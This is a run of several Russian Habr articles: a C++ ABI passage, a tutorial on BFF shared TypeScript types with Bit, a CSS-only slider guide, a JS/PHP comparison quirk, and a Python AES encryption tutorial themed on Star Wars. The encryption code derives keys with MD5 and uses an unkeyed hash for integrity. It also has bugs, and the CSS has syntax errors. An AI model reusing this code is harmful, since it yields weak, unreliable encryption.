Но конечно, мы совершим еще много, много ошибок.
> >> [**Ólafur Waage**](https://twitter.com/olafurw) @olafurw
>
> (Это очень хорошо сработало в прошлый раз, поэтому я попробую снова)
>
>
>
> День добрый, твиттер программистов!
>
>
>
> Я собираюсь выступать перед амбициозными молодыми людьми через пару недель. Какой по вашему мнению самый важный совет, который можно дать разработчику ПО (к примеру: паттерны, архитектура, алгоритмы)?
>
>
>
> [**Hyrum Wright**](https://twitter.com/hyrumwright) @hyrumwright
>
> Рано или поздно любое решение, принятое во время разработки, придется изменить. Предусматривайте возможность изменения в вашей экосистеме — как в ваших инструментах, так и в самом процессе разработки.
>
>
Некоторые ошибки делаются намеренно, так как являются трейд-оффом, тогда как другие остаются незамеченными многие годы.
Время идет, но стандартная библиотека стоит на месте. Ранее сделанные трейд-оффы постепенно начинают нам мешать, а в последствие становятся настоящими «бутылочными горлышками» в существующем коде.
Часть вещей действительно невозможно изменить, так как они вшиты в API. У нас у всех есть представление о том, насколько сложно менять существующий API. Но часть кода все же может быть исправлена и улучшена, если бы мы могли сломать ABI.
C++ все еще будет на плаву в ближайшие 40 лет. Если мы не сможем осознать необходимость менять его непредсказуемым образом в любое время, то единственным верным ходом останется только не играть в эту игру в принципе.
Все знают, что стандартный ассоциативный контейнер был актуален для использования меньше десяти лет. Но почему тогда мы думаем, что более крупные предложения в стандарт будут иметь больший успех?
Ваше предложение в стандарт **будет** уничтожено, мое точно также будет уничтожено.
Может ли комитет в принципе сломать ABI?
----------------------------------------
Многие уверены, что комитет не может в принципе принять такое решение, потому что тогда разработчики библиотек просто его проигнорируют. Все это больно похоже на армрестлинг, в котором комитет решил не играть.
Но дело в том, что у разработчиков любого продукта есть свои пользователи. Пользователи — это те, кто прежде всего должен понять, какие трейд-оффы им навязаны.
Много людей полагаются на ABI совершенно случайно, не сделав осознанный выбор. Много людей также полагаются на стабильность, потому что, конечно, все хотят на нее полагаться. Но как и у любой другой вещи, у стабильности есть своя цена, и сейчас вся экосистема C++ за нее платит. | https://habr.com/ru/post/490222/ | null | ru | null |
# Использование паттерна BFF для создания общих типов в бэкенде и фронтенде
Контракт между бэкендным сервисом и фронтендным потребителем (или клиентом) обычно является местом соединения двух миров. Такой контракт может принимать форму спецификации REST API, конечной точки GraphQL, или чего-то другого. Главное, чтобы он сообщал обеим сторонам, чего ожидать друг от друга.
Такова любовная история между бэкендом Node.js и фронтендом React. Живя в разных мирах, они нашли общий язык для общения, но этого было недостаточно — всё равно случались недопонимания: иногда один ждал, что другой скажет что-то такое, чего второй не может выразить. Такой была ситуация до недавнего времени, когда произошла генерализация TypeScript (и типов TypeScript), благодаря которой они начали говорить на одном языке.
Давайте узнаем, что такое шаблон BFF (нет, это не шаблон Best Friends Forever, как бы здорово это ни звучало), и разберёмся, как типы TS могут помочь нам создать надёжный контракт между бэком и фронтом.
Паттерн BFF
-----------
Как и другие забавные акронимы в нашей отрасли, шаблон BFF основан на концепции «Best Friends Forever», однако инженеры решили назвать его «Backend For Front-end».
Смысл этого шаблона — превращение бэкенда и фронтенда в лучших друзей, несмотря на то, что напрямую они могут и не общаться. При разработке микросервиса в бэкенде, который используется множеством клиентских приложений, его API должен быть стандартным; по сути, у всех клиентов он должен быть одинаковым. Теоретически это упрощает использование и освоение вашего сервиса другими разработчиками.
Тем не менее, иногда случается, что клиентские приложения по каким-то причинам не всегда хотят/могут исполнять контракт вашего API. Из-за этого во фронтенд нужно добавлять новую логику для парсинга и преобразования ответа в то, что он может использовать.
И здесь в игру вступает BFF: вместо того, чтобы заставлять клиентские приложения общаться напрямую с микросервисом, мы приказываем им общаться с прокси-сервисом, который занимается отправкой запроса нужному сервису и преобразует ответ в вид, который может понять фронтенд.
На самом ли деле шаблон BFF лучше, чем отсутствие шаблонов? Преимущества:
1. Клиентское приложение остаётся «глупым», и это предпочтительно с точки зрения безопасности и простоты использования. Чем глупее должны быть клиентские приложения, тем быстрее другие команды смогут создавать клиентские приложения. Кроме того, основная бизнес-логика и необходимая обработка данных остаются сокрытыми на стороне бэкенда.
2. Увеличение задержки из-за дополнительного подключения в бэкенде теоретически должно быть меньше, чем влияние потребления дополнительных ресурсов во фронтенде.
Идеален ли такой подход? Недостатки:
1. Из-за нового элемента (т.е. ещё одного сервиса) архитектура системы усложняется. В нашем примере рассматривается только один BFF, но потенциально вы можете создавать по одному BFF для каждого типа клиентских приложений.
2. Из-за BFF-сервиса существует тесная косвенная связь между бэкендом и фронтендом. Да, смысл BFF на самом деле в том, чтобы контракт между бэком и фронтом был именно таким, какой нужен клиенту, что до минимума снижает вероятность внесения изменений в будущем. Однако эта вероятность никогда не равна нулю, и модификации в бэкенде или фронтенде подразумевают непосредственное изменение на другой стороне. То есть они связаны.
Можете ли вы смириться с этими недостатками? Если да, то BFF вам подходит. Они вызывают слишком много проблем или вы используете монолитную архитектуру? Тогда забудьте о них и реализуйте BFF, только если начнёте работать с микросервисами.
Что насчёт общих типов?
-----------------------
Общие типы (Shared types) — это специализация шаблона BFF, рассчитанная на TypeScript; она позволяет использовать общее определение типов в коде и фронтенда, и бэкенда.
И это потрясающе, ведь вы в буквально смысле можете избежать проблем определений между двумя командами разработчиков, предоставив им общий источник истины.
Чтобы это сработало, нужно найти способ превратить определение типов в отдельный модуль, который смогут импортировать обе команды. Это можно сделать множеством способов, например:
* Если у вас есть монорепозиторий, то можно просто импортировать определение из generic path в оба проекта. Однако такой подход привязывает жизненный цикл ваших типов к обоим проектам одновременно, потому что внося изменение в файл (например, в определение типа), вы влияете на весь монорепозиторий. Да, хорошо владея git, вы можете обойти эти проблемы, но это немного трудоёмко.
* Можно превратить определение типов в модуль NPM, после чего установить в качестве зависимости в код фронтенда и бэкенда. Затем всё будет работать отлично, но на этапе начальной разработки вам необходимо будет опубликовать модуль, иначе у вас будут локальные пути импорта, которые придётся рефакторить в абсолютные. И даже после завершения начального этапа разработки любые изменения в локальной версии модуля типов нужно будет публиковать, иначе их не увидят другие проекты. Это может оказаться довольно хлопотным.
Но есть и третий, более интересный вариант, в котором используется Bit.
Что такое Bit?
--------------
Если вы о нём ещё не слышали, [Bit](https://github.com/teambit/bit) — это open-source-инструмент (имеющий нативную интеграцию с платформой удалённого хостинга [Bit.dev](https://bit.dev/)), помогающий создавать и делать общими [независимые компоненты](https://blog.bitsrc.io/independent-components-the-webs-new-building-blocks-59c893ef0f65). Это компоненты (или модули), которые независимо разрабатываются, имеют собственные версии и над которыми можно совместно независимо работать.
Можно или создавать новые [независимые компоненты](https://blog.bitsrc.io/independent-components-the-webs-new-building-blocks-59c893ef0f65) с нуля, или постепенно извлекать компоненты из уже имеющейся кодовой базы.
Хотя кажется, что это ужасно похоже на NPM, есть и важные отличия:
* Не нужно физически извлекать код, чтобы создавать независимые новые версии, делать его общим и совместно над ним работать. Можно «экспортировать» компонент прямо из своего репозитория. Bit позволяет задать часть кода в качестве компонента и с этого момента работать с ним независимо. В свою очередь, это позволяет упростить процесс совместного использования, потому что нет необходимости в настройке отдельного репозитория и переработке процесса импорта этих файлов в свой проект.
* Люди, «импортирующие» ваши компоненты (а не просто устанавливающие их), также могут участвовать в совместной работе над ними, изменять их и экспортировать обратно в их «remote scope» (удалённый хостинг компонентов). Это невероятно мощный подход, если вы работаете группой команд в одной организации, потому что вы можете совместно работать над одним и тем же инструментом без необходимости работы над отдельным проектом. При импорте компонента Bit код скачивается и копируется в вашу рабочую папку. Также при этом генерируется соответствующий пакет в папке `node_modules`. При изменении исходного кода (в рабочей папке) пакет генерируется заново. Благодаря этому вы можете использовать его, указывая абсолютный путь, подходящий для всех контекстов (это сработает, даже если вы решите установить пакет компонента без его импорта).
Именно этим мы сегодня и воспользуемся — мы можем превратить локальную настройку в сценарий с несколькими репозиториями, особо ни о чём не беспокоясь.
Создание общего модуля типов
----------------------------
Чтобы показать красоту практического применения этого паттерна общих типов, я создам три компонента:
* Разумеется, определение типов. Его будут использовать на своей стороне два других компонента. Также этот компонент будет экспортировать мок с фейковыми данными, используемый компонентом фронтенда, когда у него нет связи с бэкендом. Последняя часть нужна только в качестве примера, вероятно, вы найдёте более удобные способы решения проблемы на своей стороне.
* Бэкенд-сервис, экспортирующий функцию, готовую к созданию HTTP-веб-сервера и передаче фиксированного ответа на каждый запрос. Так как это пример, сервер будет очень простым, однако его будет достаточно, чтобы показать полезность подхода. В своём коде он будет использовать общее определение типов для проверки того, что ответ имеет нужный формат.
* React-компонент, который будет запрашивать данные у сервиса (или использовать данные мока) и рендерить их на странице. Разумеется, в его коде тоже будет использоваться общее определение типов.
Давайте приступим.
Исходная структура
------------------
Будем считать, что вы уже [установили Bit](https://harmony-docs.bit.dev/getting-started/installing-bit) и залогинились в платформе. Теперь потратьте две минуты на [создание коллекции](https://bit.dev/) (также называемой «scope») и назовите её «bff» (можете выбрать любое другое имя).
Затем инициализируем рабочую среду:
```
$ bit init --harmony
```
После этого отредактируем файл `workspace.jsonc` и зададим `defaultScope` значение `[username].bff`, в моём случае это выглядит как `"deleteman.bff"`.
Теперь можно перейти в терминал и создать первый компонент:
```
$ bit create react-component ui/client-app
```
Создастся новый компонент на основе React-шаблона, в котором будет присутствовать бойлерплейт. Также будет создана структура папок, необходимая для новых компонентов (должна создаться папка `bff` и папка `ui/client-app` внутри неё).
Следующие два компонента нужно создать вручную, потому что у Bit пока нет для них шаблонов:
Просто скопируйте показанную выше структуру, поместив общие типы в папку `common/bff-types`, а сервис в папку `backend/service`.
Нужно создать в обеих папках файлы `index.ts`, потому что они будут использоваться в качестве точек входа, когда мы превратим эти папки в компоненты.
Определение типов в нашем примере будет очень простым:
```
//index.ts file
import {ServiceResponseType, PersonType} from './types'
const ServiceResponseMocks: ServiceResponseType = [
{
name: "Fernando Doglio",
age: 37,
address: "Madrid, Spain"
}
]
export {ServiceResponseMocks, ServiceResponseType, PersonType}
//types.d.ts file
type PersonType = {
name: string,
age: number,
address: string
}
type ServiceResponseType = PersonType[]
export {ServiceResponseType, PersonType}
```
Обратите внимание, что в показанный выше фрагмент кода я включил оба файла.
Код сервиса не сложнее:
```
//service.ts file
import * as http from 'http';
import {ServiceResponseType} from '@deleteman/bff.bff-types';
let data: ServiceResponseType = [
{
name: "Fernando Doglio",
age: 23,
address: "Madrid, Spain"
},
{
name: "Second Person",
age: 99,
address: "Somewhere else"
}
]
export function newServer() {
http.createServer(function (req, res) {
res.setHeader('Content-Type', 'application/json');
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', 'OPTIONS, GET');
res.setHeader('Access-Control-Max-Age', 2592000); // 30 days
res.end(JSON.stringify(data));
}).listen(8000);
}
//index.ts file inside backend/service
export * as service from './service'
```
Обратите внимание, что я всегда возвращаю JSON с двумя элементами внутри и использую определение типов, чтобы создаваемая структура возвращалась без потери атрибутов. Экспортированная функция `newServer` создаёт простой HTTP-сервер (никакого Express или чего-то подобного) и настраивает необходимые CORS-заголовки, чтобы вы могли протестировать пример сервера со своего локального хоста.
React-компонент выглядит так:
```
import React, { ReactNode, useState } from 'react';
import {useEffect} from 'react';
import {ServiceResponseType, PersonType, ServiceResponseMocks} from '@deleteman/bff.bff-types';
export function ClientApp(props: {defaultMessage?: string, mock?: boolean}) {
let [items, setItems] = useState([])
let [error, setError] = useState(null)
useEffect(() => {
if(props.mock) {
return setItems(ServiceResponseMocks)
}
fetch("http://localhost:8000")
.then(res => res.json())
.then(
(result: ServiceResponseType) => {
setItems(result as ServiceResponseType);
},
(error) => {
setError(error);
}
)
}, [])
if(error) {
return (
Error found: {error.message}
{props.defaultMessage}
)
}
return (
{renderPeople(items)}
);
}
function renderPeople(ppl: ServiceResponseType): ReactNode[] {
return ppl.map( (person: PersonType) => {
return
Name: {person.name}
Age: {person.age}
Address: {person.address}
})
}
```
Много кода, но на самом деле здесь не происходит ничего особо сложного.
Вы уже наверно заметили две строки `import` и в компоненте сервера, и в React-компоненте:
```
import {ServiceResponseType, PersonType, ServiceResponseMocks} from '@deleteman/bff.bff-types';
```
Обычно это должно обозначать, что я уже опубликовал модуль общих типов и теперь импортирую его. Однако благодаря Bit это не требуется. Мне достаточно было превратить модуль в компонент, после чего Bit создаёт внутри папки `node_modules` символическую ссылку, указывающую на мою локальную копию. Это, в свою очередь, позволяет мне работать над другими компонентами, как будто всё уже было опубликовано.
Превращаем код в компоненты
---------------------------
Помните, что пока мы создали только один «официальный» компонент — React-компонент. Другие два пока представляют собой только папки с кодом. Нам нужно, чтобы Bit узнал о них, и это можно сделать так:
```
$ bit add bff/backend/service
$ bit add bff/common/bff-types
```
*<https://bit.dev/deleteman/bff>*
Итак, мы сообщили Bit, что эти две папки тоже содержат компоненты и что их тоже нужно отслеживать. Также это должно изменить содержимое файла `.bitmap` (трогать его не нужно, просто убедитесь, что он существует для каждого из модулей).
Последнее, что нужно сделать, прежде чем всё будет готово — вернуться в файл `workspace.jsonc` и изменить ключ `variants`, чтобы для каждого компонента использовалась нужная среда. Помните, что мы работаем с React-компонентом на одной стороне, с Node.js-компонентом с другой и с обобщённым компонентом, поэтому Bit должен знать об этом. Просто откройте файл и убедитесь, что раздел `teambit.workspace/variants` выглядит следующим образом:
```
"teambit.workspace/variants": {
"bff/ui/client-app": {
"teambit.react/react": {}
},
"bff/common/*": {
"teambit.react/react": {}
},
"bff/backend/service": {
"teambit.harmony/node": {}
}
}
```
Теперь можно выполнить `bit start`, запустив таким образом локальный сервер разработки. Этот сервер разработки предоставит вам всю необходимую информацию о компонентах и покажет, как будут выглядеть их документы после публикации.
Интересной для нас информацией здесь является URL импорта. Можно получить его, нажав на компонент после запуска сервера, первым делом вы увидите автоматически сгенерированную строку.
Как и говорилось выше, благодаря использованию этого URL вам не нужно выполнять импорт напрямую и беспокоиться о том, на что он указывает, Bit разрешит эту зависимость за вас и вы можете разрабатывать компоненты, будучи уверенным, что этот общий код уже доступен.
Если вы хотите поделиться этой работой с другими, это тоже можно сделать через Bit:
```
$ bit tag --all #1
$ bit export #2
```
Шаг 1 помечает все компоненты, то есть мы создаём для них версию, под которой они будут экспортироваться. Шаг 2 экспортирует компоненты в глобальный репозиторий Bit.dev. На случай, если вам захочется взглянуть, я поделился своим [здесь](https://bit.dev/deleteman/bff).
*Мой [remote scope](https://bit.dev/deleteman/bff) со всеми общими [независимыми компонентами](https://blog.bitsrc.io/independent-components-the-webs-new-building-blocks-59c893ef0f65)*
Что же мы сделали?
------------------
Благодаря использованию Bit и шаблона общих компонентов мы смогли соединить бэкенд-сервис с фронтенд-приложением, обеспечив для них общее определение типов.
Но что ещё здесь произошло?
1. Во-первых, мы разработали и опубликовали три модуля, при этом нам даже не пришлось думать о компиляторе TS, WebPack, NPM или любых других инструментах, за исключением Bit. Именно поэтому я выбрал Bit и поэтому считаю его таким полезным инструментом. Он абстрагировал все шаги, необходимые для создания трёх компонентов, даже когда они работают в трёх разных средах.
2. Мы работали с локальной зависимостью, которая должна быть внешней зависимостью, и даже не заметили разницы. Каждое обновление, вносимое в локальную версию компонента с типами BFF, подхватывалось другими двумя компонентами, и нам не приходилось заново выполнять весь процесс экспорта.
В конечном итоге, шаблон BFF и шаблон общих типов — это просто способ сказать: в конкретном сценарии, когда приемлема определённая степень связывания, давайте согласуем контракт между клиентом и сервером, переписав любые другие общие контракты, имевшиеся в прошлом.
Эта связь образуется между сервером и *одним* клиентом — помните, BFF связывает одно клиентское приложение (или тип приложений) со специализированной версией сервера. Он не отменяет обобщённый контракт с другими клиентами, которые могут использоваться с исходной версией сервиса.
\_\_\_\_\_\_\_\_\_\_\_\_\_\_
*Дата-центр ITSOFT – размещение и аренда серверов и стоек в двух ЦОДах в Москве; colocation GPU-ферм и ASIC-майнеров, аренда GPU-серверов. Лицензии связи, SSL-сертификаты. Администрирование серверов и поддержка сайтов. UPTIME за последние годы составляет 100%.* | https://habr.com/ru/post/571004/ | null | ru | null |
# Слайдер на CSS
Хочу рассказать простой способ создания слайдера, без использования JS, при помощи анимации CSS.
**1)** Для начала напишем HTML, предположим что в слайдере будут сменять друг друга 4 изображения.
```
```
**2)** Далее оформим размеры блока, и еще несколько настроек, position: relative необходимо для того, чтобы создать контекст форматирования, дальше будет понятно зачем.
```
.slider {
width: 500px;
height: 300px;
margin: auto;
margin-top: 25px;
border: 1px solid black;
position: relative;
overflow: hidden;
}
```
**3)** Также определим некоторые свойства для самих слайдов:
```
.slide {
width: 500px;
height: 300px;
position: absolute;
top: 0;
left: 0;
}
```
Как видно из CSS мы размещаем все слайды в верхнем левом углу слайдера, задавая, таким образом, одинаковую исходную позицию.
**4)** Далее нужно определить каким именно образом слайды будут сменять друг друга, не создавая разрывов – для каждого слайда я решил использовать следующую последовательность действий:
1. Слайд находится на исходной позиции, демонстрируется пользователю
2. Слайд двигается влево, пока полностью не выйдет за границу слайдера (у слайдера же, как выше указано, overflow: hidden, соответственно слайд не наезжает на окружающие объекты).
3. Далее слайд двигается наверх, пока нижняя граница слайда выйдет за верхнюю границу слайдера
4. Далее слайд двигается вправо, пока левая граница слайда, не выйдет за правую границу слайдера
5. Слайд спускается вниз на один уровень со слайдером
6. Слайд двигается на исходную позицию
Иначе говоря (кадры пока назову согласно номерам из списка выше):
```
@keyframes slide {
from {
top: 0;
left: 0;
}
1 { transform: translate(0px, 0px); }
2 { transform: translate(-500px, 0); }
3 { transform: translate(-500px, 300px); }
4 { transform: translate(500px, 300px); }
5 { transform: translate(500px, 0); }
to { transform: (0px, 0px); }
}
```
**5)** Итак, стало понятно, как выглядит траектория слайда. Каждый слайд «объезжает» вокруг своего контейнера – слайдера – и возвращается на исходную. Таким образом мы можем бесконечно крутить любое количество слайдов. Но остался один нюанс, который является самым важным в этой схеме – время. Нужно правильно рассчитать раскадровку анимации по времени и установить правильную задержку для каждого слайда, чтобы не все одновременно ринулись анимироваться. Для того чтобы понять, как правильно выставит задержку и рассчитать время анимации, я пошел нижеописанным путем.
Давайте возьмем обозначения шагов из предыдущего пункта и разберемся что же происходит в каждом шаге. По сути, шаги №1, 2 и 6 – это те шаги, в которых слайд заходит в видимую область. Из того, что слайды должны двигаться неразрывно и, как бы, выталкивать друг друга из слайдера, можно заключить, что длительность шагов 2 и 6 должна быть равна. Сразу оговорюсь, что мне удалось удачно работать эту конструкцию только при том условии, что длительность первого шага также равна длительности 2-го и 6-го. То, что происходит во время шагов 3,4 и 5 – по сути, технические нужды, и для простоты, давайте объединим эти три шага в 1.
После упрощения имеем:
1. Шаг – слайдер демонстрируется на исходной
2. Шаг – слайдер сдвигается вправо
3. Шаг – слайдер совершает технические перемещения
4. Шаг – слайдер сдвигается влево, возвращаясь на исходную позицию
Для обеспечения безразрывного показа слайдов, в момент, когда слайд приступает к шагу 2, следующий слайд должен приступить к шагу 4.
Т.е.:
Для того чтобы посчитать процент необходимого времени на каждую стадию, так сказать, вывел небольшую формулу, которая работает при условии, что 1,2 и 4 шаг равны.
Если время, на круг всей анимации – t;
Кол-во слайдов – n;
Длительность 3 шага – y;
Длительность шагов 1,2 и 4 – x;
Шаг задержки анимации для n-слайда – z;
То:
y = (100 \* n — 150)/n;
x = (100 – y) / 3;
x и y необходимо перевести в проценты, и тогда:
z = 2 \* x \* t;
Для случая, когда n = 4, как в примере выше, получаем:
3-ий шаг – 62,5%, 1, 2 и 4-ый — по 12,5%. Шаг задержки анимации для каждого последующего слайда – 25%.
Какие интервалы будут между этапами внутри третьего шага – не имеет значения.
**6)** Теперь, когда мы все посчитали и знаем все величины можно привести финальный код.
Анимация:
```
@keyframes slide {
from {
top: 0;
left: 0;
}
12.5% {
transform: translate(0px, 0px);
}
25% {
transform: translate(-500px, 0);
}
36% {
transform: translate(-500px, 300px);
}
37% {
transform: translate(500px, 300px);
}
87.5% {
transform: translate(500px, 0);
}
to {
transform: (0px, 0px);
}
}
```
Слайды:
```
.slide1 {
background: url(1.jpg);
animation-delay: 7.5s;
}
.slide2 {
background: url(2.jpg);
animation-delay: 5s;
}
.slide3 {
background: url(3.jpg);
animation-delay: 2.5s;
}
.slide4 {
background: url(4.jpg);
animation-delay: 0s;
}
```
Общий CSS для всех слайдов:
```
.slide {
width: 500px;
height: 300px;
position: absolute;
top: 0;
left: 0;
animation-name: slid;
animation-duration: 10s;
animation-timing-function: linear;
animation-iteration-count: infinite;
}
```
Вот, собственно и все! Спасибо всем, кто дочитал до конца. | https://habr.com/ru/post/324034/ | null | ru | null |
# К вопросу о языках программирования…
Так как [голосование](http://habrahabr.ru/blogs/programming/48623/) не позволяет оставлять комментарии, то оформлю комментарии отдельной статьёй.
Особо интересует мнение людей, которые считают что у них такого случиться не может (предпоследний пункт в опросе). Почему?
Под катом — законченный пример на одном из распространённых языков программирования. Бонус! Даже не один язык программирования, но два.
JavaScript:
`function remove_element(/* array */ a, /* element */ e) {
var b=[];
for (var i=0;i
if (a[i]!=e) b.push(a[i]);
}
return b;
}
var before=[7, "13", "5", 6];
var after=remove_element(before, "13");`
PHP (пример [исправлен](http://habrahabr.ru/blogs/programming/48624/#comment_1261470), спасибо [Sannis](http://sannis.habrahabr.ru/)):
`function remove_element(/* array */ $a, /* element */ $e) {
$b=array();
foreach($a as $m) {
if ($m!=$e) array_push($b, $m);
}
return $b;
}
$before=array("11", "a", 2, 3);
$after=remove_element($before, "a");`
Какие ещё языки, допускающее подобное, вы знаете и считаете ли вы что удобства предоставляемые этим подходом оправдывают проблемы, которые он порождает?
P.S. Многие языки программирования имеют много странностей при работе с числами с плавающей точкой — но про это хорошо известно и может быть защитано максимум как полбалла. Хотя даже если привлечь числа с плавающей точкой на вменяемых языках программирования (С/C++, Java, Python, Lisp) я ничего придумать не могу (без перекрытия операторов, что, понятно уже чистой воды читерство).
P.P.S. Вообще весь топик вырос из [дискуссии](http://habrahabr.ru/blogs/javascript/48542/#comment_1260196) где мне пытались объяснить что я ничего не понимаю в программировании и моё нежелание мириться с подобными, с позволения сказать, языками программирования свидетельствует о моей серости и убогости, а не о проблемах в языке. | https://habr.com/ru/post/48624/ | null | ru | null |
# Криптография простым языком: разбираем симметричное и асимметричное шифрование на примере сюжета Звездных войн (Updated)
Привет всем читателям Хабра! Не так давно решил разобраться с алгоритмами шифрования и принципами работы электронной подписи. Тема, я считаю, интересная и актуальная. В процессе изучения попробовал несколько библиотек, однако самой удобной с моей точки зрения является библиотека [PyCrypto](https://www.dlitz.net/software/pycrypto/). У неё прекрасная документация, сопровождаемая примерами.
**После прочтения материала вы усвоите следующие моменты:**
1. Что такое шифрование;
2. Чем отличается симметричное шифрование от асимметричного;
3. В каком случае эффективнее применять симметричное, а в каких асимметричное шифрование;
4. Что такое хеш данных и для чего он используется в шифровании;
Актуальность рассматриваемой темы постоянно растет. Применение криптографии уже давно не ограничивается шифрованием информации. Алгоритмы шифрования в том или ином виде ежедневно используется нами при посещении сайтов через протокол HTTPS, во время совершения покупок банковской картой, при общении в мессенджерах. Последние несколько лет широкое внимание привлекают блокчейн технологии, основой которых также является криптография.
Целью данной статьи является познакомить читателя с основными алгоритмами шифрования. При написании статьи, я постарался как можно большее внимание уделить вопросу практического применения. Для программирования использовался язык Python 3.6. При написании кода старался делить его на отдельные части и комментировать все ключевые моменты.
В данной статье я не разбирал цифровую подпись, однако после понимания асимметричного шифрования смысл этой технологии станет понятен.
### Сюжет
Давайте мысленно перенесемся во вселенную Звездных войн до событий Эпизода 6, когда силам сопротивления становится известно о начале строительства новой Звезды смерти. Командование планирует внедрить разведывательную группу под видом строителей. Операция очень опасна, связь со штабом будет затруднена. В случае экстренной стиуации каждый член группы может отправлять и получать сообщения из штаба на незащищенной частоте.
Целью разведгруппы являются любые данные, которые могут пролить свет на конфигурацию, вооружение и назначение будущей станции. Для хранения данных планируется разработать специальное оборудование и ПО.
**Штаб утвердил два варианта этой операции:**
План А — возвращение агентов с данными повстанческим силам;
План Б — дистанционная передача планов с самой Звезды смерти, используя оборудование станции. *Передача информации при этом будет быстрой, но после передачи агент вероятнее всего будет вычислен и пойман.*
**Схема**
Вы являетесь программистом в команде, которая отвечает за разработку ПО.
**При планировании операции рассматриваются несколько возможных негативных сценариев:**
* Противник перехватит сигнал, поймет по его содержимому о планировании атаки и уведет объект ближе к лояльным Империи силам. В этом случае потери среди сопротивления будут выше;
* Один из шпионов будет пойман и на допросе раскроет план операции, что может привести к компрометации ключей шифрования (про них будет сказано ниже);
* Шпион с загружеными данными может быть перехвачен имперскими силами, которые внесут изменения в содержимое, дезинформируя сопротивление о слабых местах станции. В этом случае, при атаке флот повстанцев будет направлен в ложном направлении и постепенно уничтожен;
**Из этих сценариев смормулированы задачи:**
1. Содержимое должно быть надежно зашифровано и защищено от изменений;
2. В случае утери ключей шифрования или их компрометации, должна быть возможность получения новых ключей шифрования дистанционно на частоте, которая может прослушиваться противником.
#### Шифрование информации
Давайте решим проблему шифрования информации:
Для шифрования и дешифрования информации используется ключ шифрования. Именно ключ делает шифрование обратимым. Каждый агент будет снабжен ключом шифрования. После загрузки данных агент произведет их шифрацию и отправку в штаб сопротивления.
**Описание принципа шифрования**
Метод, при котором шифрование и дешифрация сообщения производится при помощи одного ключа называется *симметричное шифрование*.
Слабым местом симметричного шифрования является ключ шифрования, точнее его доставка до адресата. Если во время доставки ключ будет скомпрометирован, стороннее лицо легко раскодирует сообщение. Сильной стороной симметричного шифрования является его скорость, что дает возможность кодировать большие объемы данных.
*Асимметричное шифрование* для кодирования данных использует два связанных друг с другом ключа: открытый и закрытый.
**Механизм действия такой:**
1. адресат отправляет ОТКРЫТЫЙ ключ отправителю;
2. отправитель кодирует сообщение при помощи полученного открытого ключа. При этом, раскодировать сообщение можно теперь только закрытым ключом;
3. при получении зашифрованного сообщения адресат раскодирует его ЗАКРЫТЫМ ключом (который был сгенерирован в паре с открытым).
Давайте приступим в программированию! Для разработки необходимого ПО мы будем использовать библиотеку Python под названием [pycrypto](https://pypi.org/project/pycrypto/). У нее отличная документация и в ней представлены все распространенные алгоритмы шифрования.
Для начала разработаем функционал для симметричного шифрования по названием [Advanced Encryption Standard (AES)](https://ru.wikipedia.org/wiki/Advanced_Encryption_Standard). Он является одним из самых распространённых алгоритмов симметричного шифрования.
```
from Crypto.Cipher import AES # алгоритм шифрования
from Crypto.Hash import SHA256 # Для хеширования данных используем также популярный алгоритм SHA.
from Crypto.Hash import MD5 # Этот алгоритм хеширования будет использован для приведения произвольной строки пароля к 32 битной
from Crypto import Random
def transform_password(password_str):
"""Transform the password string into 32 bit MD5 hash
:param password_str: password in plain text;
:return: Transformed password fixed length
"""
h = MD5.new()
h.update(key.encode())
return h.hexdigest()
def symmetric\_encrypt(message, key, verbose = True):
"""Encripts the message using symmetric AES algorythm.
:param message: Message for encryption;
:param key: symmetric key;
:return: Message encrypted with key
"""
key\_MD5 = transform\_password(key) # Приводим произвольный пароль к длине 32 бита
message\_hash = SHA256.new(message.encode())
message\_with\_hash = message.encode() + message\_hash.hexdigest().encode() #Добавим в конец сообщения его хеш. он понадобится нам при расшифровки
iv = Random.new().read(AES.block\_size)
cipher = AES.new(key\_MD5, AES.MODE\_CFB, iv) # Создаем объект с заданными параметрами. AES.MODE\_CFB - надежный режим шифрования, который предполагает наличие вектора инициализации iv. https://www.dlitz.net/software/pycrypto/api/current/Crypto.Cipher.blockalgo-module.html#MODE\_CFB
encrypted\_message = iv + cipher.encrypt(message\_with\_hash) # Включаем случайную последовательность в начало шифруемого сообщения. Это необходимо, чтобы в случае кодирования нескольких блоков текста, аналогичные блоки не давали одинаковые кодированные сообщения.
if verbose:
print(f'Message was encrypted into: {encrypted\_message.hex()}')
return encrypted\_message
def symmetric\_decrypt(encr\_message, key):
"""Decripts the message using private\_key and check it's hash
:param encrypted\_message: Encrypted message
:param key: symmetric key;
:return: Message decripted with key
"""
key\_MD5 = transform\_password(key)
# Размеры боков нужны, для извлечения их из текста
bsize = AES.block\_size
dsize = SHA256.digest\_size\*2
iv = Random.new().read(bsize)
cipher = AES.new(key\_MD5, AES.MODE\_CFB, iv)
decrypted\_message\_with\_hesh = cipher.decrypt(encr\_message)[bsize:] # Извлекаем из блока случайные символу, которые мы добавляли при шифровании
decrypted\_message = decrypted\_message\_with\_hesh[:-dsize] # Извлекаем хеш сообщения, который мы присоединяли при шифровании
digest = SHA256.new(decrypted\_message).hexdigest() # хеш расшифрованной части сообщения. Он будет сравниваться с хешем, который мы присоединили при шифровании.
if digest==decrypted\_message\_with\_hesh[-dsize:].decode(): # Если хеш расшифровааного сообщения и хеш, который мы добавили при шифровании равны, расшифровка правильная
print(f"Success!\nEncrypted hash is {decrypted\_message\_with\_hesh[-dsize:].decode()}\nDecrypted hash is {digest}")
return decrypted\_message.decode()
else:
print(f"Encryption was not correct: the hash of decripted message doesn't match with encrypted hash\nEncrypted hash is {decrypted\_message\_with\_hesh[-dsize:]}\nDecrypted hash is {digest}")
```
**Проверим работоспособность кода на примере**
```
message = """
Длина 120 км
Ширина 120 км
Высота/глубина 120 км
МгС 10 МгС
Двигатель Субсветовой двигатель 30-5 (2)
Класс гиперпривода Класс 4.0
"""
key = 'Traveling through hyperspace ain’t like dusting crops, farm boy.'
encr_message = symmetric_encrypt(message, key, verbose = True)
print('\n')
print('DECRIPTION')
decr_message = symmetric_decrypt(encr_message, key)
print(decr_message)
```
```
